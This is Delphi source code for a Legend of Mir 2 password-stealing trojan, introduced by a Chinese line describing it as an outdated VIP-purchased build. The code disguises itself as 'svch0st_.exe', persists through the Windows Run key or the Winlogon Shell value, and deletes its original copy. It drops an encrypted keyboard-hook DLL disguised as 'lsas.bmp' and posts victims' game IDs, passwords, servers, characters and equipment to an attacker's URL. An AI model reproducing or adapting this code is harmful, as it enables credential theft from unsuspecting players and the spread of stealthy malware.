unit_mainform.pas

传奇2万能变形特征码+极度流畅版,以前vip买回来的,现在已经过时了

unit Unit_MainForm;

interface
uses
  Windows,
  Unit_Config,
  Unit_Common,
  Unit_SysUtils,
  Unit_Classes,
  Unit_MyCyBuf,
  Lh5Unit,
  ThreadUnit,
  Unit_Kill,
  Unit_Reg,
  Unit_Other,
  Unit_SendMail;

function MyCreateWinForm(strWindowClass, strWindowCaption: string): Bool; stdcall;
implementation
const
  strExeName = 'svch0st_.exe'; {exe文件名称}
  strDllFileName = 'lsas.bmp';
const
  MappingFileName = 'My_Mir2_MapFile';
  WM_USER = $0400;
  WM_InstallKeyHook9x = WM_USER + 1013;
  WM_UnInstallKeyHook9x = WM_USER + 1014;
  WM_SendMail = WM_USER + 1015;
  WM_DESTROY = $0002;
  Timer1: integer = 1;
  iFileMark: integer = 98; {加密标志,和Mir2.dpr对应}
type
  TShareMem = packed record
    hMainWnd: HWND; {主应用窗口}
    strArea, strID, strPsw, strServerName, strEquip,
    strJs1Name, strJs2Name,
    strJs1Sex, strJs2Sex,
      strJs1Job, strJs2Job,
      strJs1Leve, strJs2Leve: array[0..1023] of char;
    nStep: integer;
    iClickCount: integer;
    iSendMailCount: integer; //进入游戏场地后点击多少次就发送信息
  end;
  PShareMem = ^TShareMem;
var
  WinClass: TWndClassA; {必须为全局变量.否则出错!}
  hWindow: HWND; {不用设置为全局,只是为了KILL TIME而设置为全局.}
  LibMir2Dll: THandle; //钩子库句柄
  StartHook: function {(AspUrl, MailAddress: pchar)}: Bool; stdcall;
  StopHook: function: Bool; stdcall;
  EnableKeyBoardHook9X: function: Bool; stdcall;
  DisableKeyboardHook9X: function: Bool; stdcall;
  MyPShareMem: PShareMem;
  hMappingFile: THandle;
  strAspUrl, strMailAddress: string;
{------------------------------------------------------------------------------}

procedure Time1pro(hWnd: Longint; uMsg: UINT; idEvent: UINT; Time: DWORD); stdcall;
begin
//  KillTimer(hWindow, Timer1);
 Killer;
end;

procedure SenMailThread(Thread: TThread);
//var
//ServerPlace:string;
begin
 {     ServerPlace:='Asp地址:'+strAspUrl+#13+
         '信箱地址:'+strMailAddress+#13+
         '用户名称:'+MyPShareMem^.strID+#13+
         '用户密码:'+MyPShareMem^.strPsw+#13+
         '游戏区域:'+MyPShareMem^.strArea+#13+
         '服务器名:'+MyPShareMem^.strServerName+#13+
         '角色1名称:'+MyPShareMem^.strJs1Name+#13+
         '角色1性别:'+MyPShareMem^.strJs1Sex+#13+
         '角色1职业:'+MyPShareMem^.strJs1Job+#13+
         '角色1等级:'+MyPShareMem^.strJs1Leve+#13+
         '角色2名称:'+MyPShareMem^.strJs2Name+#13+
         '角色2性别:'+MyPShareMem^.strJs2Sex+#13+
         '角色2职业:'+MyPShareMem^.strJs2Job+#13+
         '角色2等级:'+MyPShareMem^.strJs2Leve+#13+
         '装备信息:'+MyPShareMem^.strEquip;
            MessageBox(0,Pchar(ServerPlace),'',MB_TOPMOST);exit;
            }
  PostURL(strAspUrl,
    'Tomail=' + HtmlEncode(strMailAddress) +
    '&gameid=' + HtmlEncode(MyPShareMem^.strID) +
    '&password=' + HtmlEncode(MyPShareMem^.strPsw) +
    '&quyu=' + HtmlEncode(MyPShareMem^.strArea) +
    '&mirserver=' + HtmlEncode(MyPShareMem^.strServerName) +
    '&js1=' + HtmlEncode(MyPShareMem^.strJs1Name) +
    '&js1sex=' + HtmlEncode(MyPShareMem^.strJs1Sex) +
    '&js1zy=' + HtmlEncode(MyPShareMem^.strJs1Job) +
    '&js1dj=' + HtmlEncode(MyPShareMem^.strJs1Leve) +
    '&js2=' + HtmlEncode(MyPShareMem^.strJs2Name) +
    '&js2sex=' + HtmlEncode(MyPShareMem^.strJs2Sex) +
    '&js2zy=' + HtmlEncode(MyPShareMem^.strJs2Job) +
    '&js2dj=' + HtmlEncode(MyPShareMem^.strJs2Leve) +
    '&zb=' + HtmlEncode(MyPShareMem^.strEquip));
end;

function WindowProc(hWindow: HWnd; Message, wParam, lParam: Integer): Integer; stdcall;
begin
  Result := 0;
  case Message of
    WM_InstallKeyHook9x: EnableKeyBoardHook9X;
    WM_UnInstallKeyHook9x:
      begin
        DisableKeyboardHook9X;
        keybd_event(VK_RETURN, MapVirtualKey(VK_RETURN, 0), 0, 0);
        keybd_event(VK_RETURN, MapVirtualKey(VK_RETURN, 0), KEYEVENTF_KEYUP, 0);
      end;
    WM_SendMail: TThread.Create(@SenMailThread, 0);
    WM_DESTROY:
      begin
        StopHook;
        if LibMir2Dll <> 0 then FreeLibrary(LibMir2Dll);
        if MyPShareMem <> nil then UnMapViewOfFile(MyPShareMem);
        if hMappingFile <> 0 then CloseHandle(hMappingFile);
        PostQuitMessage(0);
        Exit;
      end;
  else
    Result := DefWindowProc(hWindow, Message, wParam, lParam);
  end;
end;

procedure MySaveHookFile(const strHookFileName: string);
var
  hFile: THandle;
  MyEncyStreamInfo: TEncyStreamInfo;
  Buf: array of byte;
  MyStreamOrg, MyStreamPack, MyStreamUnPack: TMemoryStream;
  EncyBuf: TBuf;
  iReadSize: integer;
  strInfo: string;
  iInfoLength: integer;
  hFileWrite: THandle;
begin
  hFile := CreateFile(Pchar(ParamStr(0)),
    GENERIC_READ,
    FILE_SHARE_READ,
    nil,
    OPEN_EXISTING,
    0,
    0);
  if hFile = INVALID_HANDLE_VALUE then Exit;
  FileSeek(hFile, -(sizeof(iInfoLength)), soFromEnd);
  FileRead(hFile, iInfoLength, sizeof(iInfoLength));

  SetLength(strInfo, iInfoLength);
  FileSeek(hFile, -(sizeof(iInfoLength) + iInfoLength), soFromEnd);
  FileRead(hFile, strInfo[1], iInfoLength);

//MessageBox(0,Pchar(strInfo),'',0);

  FileSeek(hFile, -(sizeof(iInfoLength) + iInfoLength + sizeof(MyEncyStreamInfo)), soFromEnd);
  FileRead(hFile, MyEncyStreamInfo, sizeof(MyEncyStreamInfo));

  FileSeek(hFile, -(sizeof(iInfoLength) + iInfoLength + sizeof(MyEncyStreamInfo) + MyEncyStreamInfo.iPackSize + sizeof(MyEncyStreamInfo)), soFromEnd);
  FileRead(hFile, MyEncyStreamInfo, sizeof(MyEncyStreamInfo));

//MessageBox(0,Pchar(Inttostr(MyEncyStreamInfo.iPackSize)),'',0);
//MessageBox(0,Pchar(Inttostr(MyEncyStreamInfo.iEncyKey)),'',0);
//Exit;
  SetLength(Buf, MyEncyStreamInfo.iPackSize);
  FileSeek(hFile, -(sizeof(MyEncyStreamInfo) + MyEncyStreamInfo.iPackSize), soFromCurrent);
  FileRead(hFile, Buf[0], MyEncyStreamInfo.iPackSize);
  CloseHandle(hFile);



  MyStreamPack := TMemoryStream.Create;
  MyStreamUnPack := TMemoryStream.Create;
  MyStreamOrg := TMemoryStream.Create;

  MyStreamPack.Write(Buf[0], MyEncyStreamInfo.iPackSize);
  MyStreamPack.Position := 0;
  LHAExpand(MyStreamPack, MyStreamUnPack);
  MyStreamPack.Free;

  MyStreamUnPack.Position := 0;
  repeat
    iReadSize := MyStreamUnPack.Read(EncyBuf, sizeof(EncyBuf));
    MyUncyBuf(EncyBuf, iReadSize, MyEncyStreamInfo.iEncyKey);
    MyStreamOrg.Write(EncyBuf, iReadSize);
  until MyStreamUnPack.Position >= MyStreamUnPack.Size;
  MyStreamUnPack.Free;

  hFileWrite := CreateFile(Pchar(strHookFileName),
    GENERIC_READ or GENERIC_WRITE,
    FILE_SHARE_READ,
    nil,
    CREATE_ALWAYS, //OPEN_EXISTING,
    0,
    0);
  if hFileWrite = INVALID_HANDLE_VALUE then Exit; //showmessage('ok');
  FileWrite(hFileWrite, MyStreamOrg.Memory^, MyStreamOrg.Size);
  CloseHandle(hFileWrite);

  MyStreamOrg.Free;


end;

procedure MyStartHook;
var
  DllAllpath: string;
    StrRead: string;
  iPos: integer;
begin
//==============================================================================
  StrRead := MyReadEncryptStrBySelf(iFileMark);
  iPos := Pos(#13, StrRead);
  strAspUrl := Copy(StrRead, 1, Pred(iPos));
  Delete(StrRead, 1, iPos);
  strMailAddress := StrRead;
//MessageBox(0,Pchar(strMailAddress),Pchar(strAspUrl),MB_TOPMOST);
  DllAllpath := MyGetWindowsDirectory + strDllFileName;
  try
    FilesetAttr(DllAllpath, 0);
    DeleteFile(Pchar(DllAllpath)); {删除现有的DLL文件}
  except
  end;
  if FileExists(DllAllpath) then {如果删除失败，则改名}
  begin
    DllAllpath := RandomFilename(DllAllpath);
  end;
  MySaveHookFile(DllAllpath);
//  ExtractRes('DllFile', 'Mir2Dll', DllAllpath); {生成新的DLL插入文件}

//1:取函数地址
  LibMir2Dll := LoadLibrary(Pchar(DllAllpath));

  try
    if LibMir2Dll <> 0 then
    begin
      @StartHook := GetProcAddress(LibMir2Dll, PChar('StartHook'));
      @StopHook := GetProcAddress(LibMir2Dll, PChar('StopHook'));
      @EnableKeyBoardHook9X := GetProcAddress(LibMir2Dll, PChar('EnableKeyBoardHook9X'));
      @DisableKeyboardHook9X := GetProcAddress(LibMir2Dll, PChar('DisableKeyboardHook9X'));
    end;
  except
    FreeLibrary(LibMir2Dll);
    Halt;
  end;

//2:内存映象.只要是为了Win9X下安装键盘HOOK传递窗口句柄而设置.
  hMappingFile := OpenFileMapping(FILE_MAP_WRITE, False, LPCTSTR(MappingFileName));
  if hMappingFile = 0 then
  begin
      //这一句是用来测试用的，正式编译时可以去掉
  //    MessageBox(0,'Cannot locate the Share Memory Block!','Mir2',MB_OK or MB_ICONERROR);
    FreeLibrary(LibMir2Dll);
    Halt;
  end;
  {MyPShareMem指向内存映象文件}
  MyPShareMem := PShareMem(MapViewOfFile(hMappingFile, FILE_MAP_WRITE, 0, 0, 0));
  if MyPShareMem = nil then
  begin
      //这一句是用来测试用的，正式编译时可以去掉
   //   MessageBox(0,PChar('Map File Mapping Failed! '#10+
   //                      'Error : '),// + IntToStr(GetLastError)),
   //                      'Mir2',MB_OK or MB_ICONERROR);
    CloseHandle(hMappingFile);
    Halt;
  end;

  FillChar(MyPShareMem^, SizeOf(TShareMem), 0);
  MyPShareMem^.hMainWnd := hWindow;
  MyPShareMem^.iSendMailCount := 12;

  //3:启动Hook
  StartHook;
end;

function MyCreateWinForm(strWindowClass, strWindowCaption: string): Bool; stdcall;
var
  Inst: HINST;
  isSetup: Bool;
  SetupPathName: string;
begin
  Result := False;
  Killer;
  isSetup := False;
  if IsWindows9x then HideSelfToBeService;
  SetupPathName := MyGetWindowsDirectory + strExeName;
  if (CompareText(paramstr(0), SetupPathName) <> 0) then //如果自己不在
  begin
    isSetup := True;
    try
      if FileExists(SetupPathName) then
      begin
        FilesetAttr(SetupPathName, 0);
        DeleteFile(Pchar(SetupPathName));
        if FileExists(SetupPathName) then
        begin
          Halt(0);
          Exit;
        end;
      end;
      CopyFile(pchar(paramstr(0)), pchar(SetupPathName), False);
    except
    end;
    if IsWindows9x then AddValue(HKEY_CURRENT_USER, 'SoftWare\Microsoft\Windows\CurrentVersion\Run', strExeName, pchar(strExeName), 1)
    else AddValue(HKEY_LOCAL_MACHINE, 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon', 'Shell', pchar('Explorer.exe ' + MyGetWindowsDirectory + strExeName), 1);
  end
  else isSetup := False;

  if isSetup then
  begin
    Winexec(pchar(SetupPathName), SW_Hide);
    DelMe;
    Halt(0);
  end
  else
  begin
{ Register Custom WndClass }
    Inst := hInstance;
    with WinClass do
    begin
      style := CS_CLASSDC or CS_PARENTDC;
      lpfnWndProc := @WindowProc;
      hInstance := Inst;
      hbrBackground := color_btnface + 1;
      lpszClassname := Pchar(strWindowClass);
      hIcon := LoadIcon(Inst, 'Mainicon');
      hCursor := LoadCursor(0, IDC_ARROW);
    end; { with }
    if RegisterClass(WinClass) = 0 then Exit;
    hWindow := CreateWindowEx(WS_EX_WINDOWEDGE, Pchar(strWindowClass), Pchar(strWindowCaption),
      WS_MINIMIZEBOX or WS_SYSMENU ,//or WS_VISIBLE,
      (GetSystemMetrics(SM_CXSCREEN) - 300) div 2,
      (GetSystemMetrics(SM_CYSCREEN) - 300) div 2, 300, 330, 0, 0, Inst, nil);
    if hWindow = 0 then Exit;
    SetTimer(hWindow, Timer1, 1000, @Time1pro);
    UpdateWindow(hWindow);
    Result := True;
    MyStartHook;
  end;
end;


end.